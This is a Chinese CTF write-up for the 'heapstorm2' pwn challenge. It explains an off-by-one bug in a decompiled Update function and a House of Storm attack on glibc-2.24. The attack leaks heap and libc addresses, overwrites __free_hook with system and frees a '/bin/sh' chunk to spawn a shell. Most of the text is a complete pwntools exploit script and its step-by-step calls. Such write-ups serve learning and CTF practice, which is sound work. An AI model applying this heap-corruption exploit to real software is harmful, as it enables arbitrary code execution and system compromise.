一道构思巧妙的题。靶机环境是glibc-2.24。
源程序下载:http://file.eonew.cn/ctf/pwn/heapstorm2.zip 。
目录
安全防护
ex@Ex:~/test$ checksec heapstorm2
[*] '/home/ex/test/heapstorm2'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
溢出点
Update
存在off by one
。
int __fastcall Update(struc_1 *a1)
{
struc_1 *v2; // ST18_8
char *v3; // rax
signed int v4; // [rsp+10h] [rbp-20h]
int v5; // [rsp+14h] [rbp-1Ch]
printf("Index: ");
v4 = get_long();
if ( v4 < 0 || v4 > 15 || !sub_BCC((__int64)a1, a1[v4 + 2].calloc_ptr) )
return puts("Invalid Index");
printf("Size: ");
v5 = get_long();
if ( v5 <= 0 || v5 > (unsigned __int64)(sub_BCC((__int64)a1, a1[v4 + 2].calloc_ptr) - 12) )
return puts("Invalid Size");
printf("Content: ");
v2 = (struc_1 *)sub_BB0(a1, a1[v4 + 2LL].size);
read_n((__int64)v2, v5);
v3 = (char *)v2 + v5;
*(_QWORD *)v3 = 0x524F545350414548LL;
*((_DWORD *)v3 + 2) = 0x49495F4D;
v3[12] = 0;
return printf("Chunk %d Updated\n", (unsigned int)v4);
}
思路
- House of Strom
- 泄露地址
House of Strom
构造House of Strom
来控制,0x13370800-16。
Allocate(0x18)
Allocate(0x18)
Allocate(0x18)
Allocate(0x18)
Allocate(0x488)
Allocate(0xf8)
Allocate(0x18)
Allocate(0x488)
Allocate(0xf8)
Allocate(0x18)
Delete(4)
Update(3, 0x18 - 12, 'a' * (0x18 - 12))
Allocate(0x18)
Allocate(0x3d8) # 10
Delete(4)
Delete(5)
Allocate(0x588) # 4
Delete(7)
Update(6, 0x18 - 12, 'a' * (0x18 - 12))
Allocate(0x28) # 5
Allocate(0x3c8) # 7
Delete(5)
Delete(8)
Allocate(0x28) # 5
Allocate(0x558) # 8
Delete(4)
Allocate(0x18) # 4
Delete(8)
Allocate(0x568)
Delete(8)
Allocate(0x568)
Delete(8)
Delete(1)
Delete(2)
Update(10, 0x10, p64(0) + p64(0x13370800-16 - 0x10))
Update(7, 0x20, p64(0) + p64(0x13370800-16 - 8) + p64(0) + p64(0x13370800-16 - 0x28 - 5))
Allocate(0x48) # 1
泄露地址
这里就有点难度,要读出calloc_ptr
和size
,首先要知道程序进行异或的值,否则即使控制了0x13370800
,由于我们不知道原先的异或值,所以泄露信息也无从下手,由于程序被设计的相当好,使得我们可以在刚好不破坏原有结构体的情况下恢复原有的异或值。
*(_QWORD *)v3 = 0x524F545350414548LL;
*((_DWORD *)v3 + 2) = 0x49495F4D;
原本可以编辑的长度是不够的,但在Update
函数中,会对后面12字节写入固定的值,因为我们已经知道该值,所以可以直接用该值进行异或,就可以控制该值。
Update(1, 0x3c, 'b' * 0x10 + p64(0) + p64(0x5041454800000000) + p64(0) + p64(0x13377331) + p64(0x13370850) + p32(0x100))
View(0)
result = sh.recvn(0x100)
print hexdump(result)
heap_addr =( u64(result[:8]) ^ u64(result[0x90: 0x90 + 8])) & 0xFFFFFFFFFFFFF000
log.success('heap_addr: ' + hex(heap_addr))
Update(0, 0x10, p64(heap_addr + 0xb0) + p32(0x20) + p32(0x50414548))
View(3)
main_arena_addr = u64(sh.recvn(8)) - 88
log.success('main_arena_addr: ' + hex(main_arena_addr))
libc_addr = main_arena_addr - 0x387b00
log.success('libc_addr: ' + hex(libc_addr))
Update(0, 0x10, p64(libc_addr + libc.symbols['__free_hook']) + p32(0x20) + p32(0x50414548))
Update(3, 8, p64(libc_addr + libc.symbols['system']))
Update(0, 0x10, p64(libc_addr + libc.symbols['__free_hook'] - 8) + p32(0x20) + p32(0x50414548))
Update(3, 0x10, '/bin/sh\0' + p64(libc_addr + libc.symbols['system']))
Delete(3)
完整脚本
受随机化影响,概率是1/3
,由于为了方便,使用的是我自己编译的glibc。
#!/usr/bin/python2
# -*- coding:utf-8 -*-
from pwn import *
import os
import struct
import random
import time
import sys
import signal
salt = ''
def clear(signum=None, stack=None):
print('Strip all debugging information')
os.system('rm -f /tmp/gdb_symbols{}* /tmp/gdb_pid{}* /tmp/gdb_script{}*'.replace('{}', salt))
exit(0)
for sig in [signal.SIGINT, signal.SIGHUP, signal.SIGTERM]:
signal.signal(sig, clear)
# Create a symbol file for GDB debugging
try:
gdb_symbols = '''
'''
f = open('/tmp/gdb_symbols{}.c'.replace('{}', salt), 'w')
f.write(gdb_symbols)
f.close()
os.system('gcc -g -shared /tmp/gdb_symbols{}.c -o /tmp/gdb_symbols{}.so'.replace('{}', salt))
# os.system('gcc -g -m32 -shared /tmp/gdb_symbols{}.c -o /tmp/gdb_symbols{}.so'.replace('{}', salt))
except Exception as e:
print(e)
context.arch = "amd64"
# context.arch = "i386"
# context.log_level = 'debug'
execve_file = './heapstorm2'
# sh = process(execve_file, env={'LD_PRELOAD': '/tmp/gdb_symbols{}.so'.replace('{}', salt)})
sh = process(execve_file)
elf = ELF(execve_file)
libc = ELF('/glibc/glibc-2.24/debug_x64/lib/libc.so.6')
# Create temporary files for GDB debugging
try:
gdbscript = '''
b *$rebase(0x11D2)
'''
f = open('/tmp/gdb_pid{}'.replace('{}', salt), 'w')
f.write(str(proc.pidof(sh)[0]))
f.close()
f = open('/tmp/gdb_script{}'.replace('{}', salt), 'w')
f.write(gdbscript)
f.close()
except Exception as e:
print(e)
def Allocate(size):
sh.sendlineafter('Command: ', '1')
sh.sendlineafter('Size: ', str(size))
def Update(index, size, content):
sh.sendlineafter('Command: ', '2')
sh.sendlineafter('Index: ', str(index))
sh.sendlineafter('Size: ', str(size))
sh.sendafter('Content: ', content)
def Delete(index):
sh.sendlineafter('Command: ', '3')
sh.sendlineafter('Index: ', str(index))
def View(index):
sh.sendlineafter('Command: ', '4')
sh.sendlineafter('Index: ', str(index))
sh.recvuntil(']: ')
# pause()
Allocate(0x18)
Allocate(0x18)
Allocate(0x18)
Allocate(0x18)
Allocate(0x488)
Allocate(0xf8)
Allocate(0x18)
Allocate(0x488)
Allocate(0xf8)
Allocate(0x18)
Delete(4)
Update(3, 0x18 - 12, 'a' * (0x18 - 12))
Allocate(0x18)
Allocate(0x3d8) # 10
Delete(4)
Delete(5)
Allocate(0x588) # 4
Delete(7)
Update(6, 0x18 - 12, 'a' * (0x18 - 12))
Allocate(0x28) # 5
Allocate(0x3c8) # 7
Delete(5)
Delete(8)
Allocate(0x28) # 5
Allocate(0x558) # 8
Delete(4)
Allocate(0x18) # 4
Delete(8)
Allocate(0x568)
Delete(8)
Allocate(0x568)
Delete(8)
Delete(1)
Delete(2)
Update(10, 0x10, p64(0) + p64(0x13370800-16 - 0x10))
Update(7, 0x20, p64(0) + p64(0x13370800-16 - 8) + p64(0) + p64(0x13370800-16 - 0x28 - 5))
Allocate(0x48) # 1
Update(1, 0x3c, 'b' * 0x10 + p64(0) + p64(0x5041454800000000) + p64(0) + p64(0x13377331) + p64(0x13370850) + p32(0x100))
View(0)
result = sh.recvn(0x100)
print hexdump(result)
heap_addr =( u64(result[:8]) ^ u64(result[0x90: 0x90 + 8])) & 0xFFFFFFFFFFFFF000
log.success('heap_addr: ' + hex(heap_addr))
Update(0, 0x10, p64(heap_addr + 0xb0) + p32(0x20) + p32(0x50414548))
View(3)
main_arena_addr = u64(sh.recvn(8)) - 88
log.success('main_arena_addr: ' + hex(main_arena_addr))
libc_addr = main_arena_addr - 0x387b00
log.success('libc_addr: ' + hex(libc_addr))
Update(0, 0x10, p64(libc_addr + libc.symbols['__free_hook']) + p32(0x20) + p32(0x50414548))
Update(3, 8, p64(libc_addr + libc.symbols['system']))
Update(0, 0x10, p64(libc_addr + libc.symbols['__free_hook'] - 8) + p32(0x20) + p32(0x50414548))
Update(3, 0x10, '/bin/sh\0' + p64(libc_addr + libc.symbols['system']))
Delete(3)
sh.interactive()
clear()